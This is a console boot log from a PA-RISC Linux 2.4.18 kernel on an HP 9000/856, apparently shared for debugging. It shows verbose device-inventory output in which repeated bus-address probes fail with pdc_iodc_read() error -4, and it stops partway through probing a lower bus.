palo ipl 0.99 root@unicum.pladom.at Sat Apr  6 19:47:13 CEST 2002

Boot image contains:
    0/vmlinux32 3071708 bytes @ 0x8000

Command line for kernel: 'HOME=/ TERM=linux root=/dev/nfs console=ttyB0
ip=bootp palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing
32-bit kernelELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 1638036 mediaptr 0x1000
Segment 1 load 00290000 size 257752 mediaptr 0x191000
Segment 2 load 002d0000 size 385024 mediaptr 0x1d0000
Segment 3 load 00330000 size 32768 mediaptr 0x22e000
Segment 4 load 00357714 size 87056 mediaptr 0x236714
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.18-pa41 (root@unicum.pladom.at) (gcc version 3.0
20010315 (prerelease)) #38 Wed Jun 26 23:32:02 CEST 2002
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00004831 00000481 00000000 00000000 44c7f21c 100000f0 00000004
00000072 00000072
vers  0000000b
model 9000/856
Total Memory: 64 Mb
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs console=ttyB0
ip=bootp palo_kernel=0/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 95.84 BogoMIPS
Memory: 61936k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
Mount-cache hash table entries: 1024 (order: 1, 8192 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Searching for devices...
do_device_inventory: SYSTEM MAP TYPE
----     system_map_inventory: calling pdc_system_map_find_mods()
----     system_map_inventory: -- returned: mod=60, addr=0xf0100000
------ alloc_pa_dev: entry
-------------------------- find_parisc_device: entry, mod=60
-------------------------- find_parisc_device:   bc[0]=-1
-------------------------- find_parisc_device:   bc[1]=-1
-------------------------- find_parisc_device:   bc[2]=-1
-------------------------- find_parisc_device:   bc[3]=-1
-------------------------- find_parisc_device:   bc[4]=-1
-------------------------- find_parisc_device:   bc[5]=-1
----     system_map_inventory: additional address is 0x00000001
----     system_map_inventory: calling pdc_system_map_find_mods()
----     system_map_inventory: -- returned: mod=6, addr=0xf0107000
------ alloc_pa_dev: entry
-------------------------- find_parisc_device: entry, mod=6
-------------------------- find_parisc_device:   bc[0]=-1
-------------------------- find_parisc_device:   bc[1]=-1
-------------------------- find_parisc_device:   bc[2]=-1
-------------------------- find_parisc_device:   bc[3]=-1
-------------------------- find_parisc_device:   bc[4]=-1
-------------------------- find_parisc_device:   bc[5]=60
----     system_map_inventory: additional address not defined
----     system_map_inventory: calling pdc_system_map_find_mods()
----     system_map_inventory: -- returned ERROR
-- walk_central_bus: entry
---- walk_native_bus: entry
---- walk_native_bus:    testing hpa=0xfff80000, i=0
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff81000, i=1
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff82000, i=2
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff83000, i=3
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff84000, i=4
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff85000, i=5
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff86000, i=6
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff87000, i=7
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff88000, i=8
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff89000, i=9
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff8a000, i=10
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff8b000, i=11
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff8c000, i=12
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff8d000, i=13
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff8e000, i=14
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff8f000, i=15
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff90000, i=16
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff91000, i=17
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff92000, i=18
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff93000, i=19
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff94000, i=20
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff95000, i=21
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff96000, i=22
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff97000, i=23
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff98000, i=24
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff99000, i=25
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff9a000, i=26
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff9b000, i=27
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff9c000, i=28
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff9d000, i=29
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff9e000, i=30
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff9f000, i=31
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffa0000, i=32
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffa1000, i=33
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffa2000, i=34
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffa3000, i=35
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffa4000, i=36
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffa5000, i=37
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffa6000, i=38
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffa7000, i=39
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffa8000, i=40
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffa9000, i=41
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffaa000, i=42
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffab000, i=43
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffac000, i=44
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffad000, i=45
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffae000, i=46
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffaf000, i=47
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffb0000, i=48
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffb1000, i=49
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffb2000, i=50
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffb3000, i=51
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffb4000, i=52
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffb5000, i=53
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffb6000, i=54
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffb7000, i=55
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffb8000, i=56
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
-------------------------- find_parisc_device: entry, mod=56
-------------------------- find_parisc_device:   bc[0]=-1
-------------------------- find_parisc_device:   bc[1]=-1
-------------------------- find_parisc_device:   bc[2]=-1
-------------------------- find_parisc_device:   bc[3]=-1
-------------------------- find_parisc_device:   bc[4]=-1
-------------------------- find_parisc_device:   bc[5]=-1
-- walk_lower_bus: entry
-- walk_lower_bus: dev: hpa=0xfffb8000, io_io_low=0xfff00000,
io_io_high=0xfff80000
-- walk_lower_bus:   call again walk_native_bus()
---- walk_native_bus: entry
---- walk_native_bus:    testing hpa=0xfff00000, i=0
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff01000, i=1
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff02000, i=2
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff03000, i=3
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff04000, i=4
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff05000, i=5
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff06000, i=6
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff07000, i=7
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff08000, i=8
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff09000, i=9
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff0a000, i=10
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff0b000, i=11
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff0c000, i=12
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff0d000, i=13
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff0e000, i=14
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff0f000, i=15
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff10000, i=16
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff11000, i=17
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff12000, i=18
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff13000, i=19
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff14000, i=20
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff15000, i=21
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff16000, i=22
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff17000, i=23
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff18000, i=24
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff19000, i=25
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff1a000, i=26
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff1b000, i=27
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff1c000, i=28
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff1d000, i=29
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff1e000, i=30
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff1f000, i=31
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff20000, i=32
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff21000, i=33
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff22000, i=34
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff23000, i=35
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff24000, i=36
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff25000, i=37
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff26000, i=38
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff27000, i=39
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff28000, i=40
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff29000, i=41
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff2a000, i=42
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff2b000, i=43
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff2c000, i=44
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff2d000, i=45
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff2e000, i=46
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff2f000, i=47
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff30000, i=48
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff31000, i=49
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
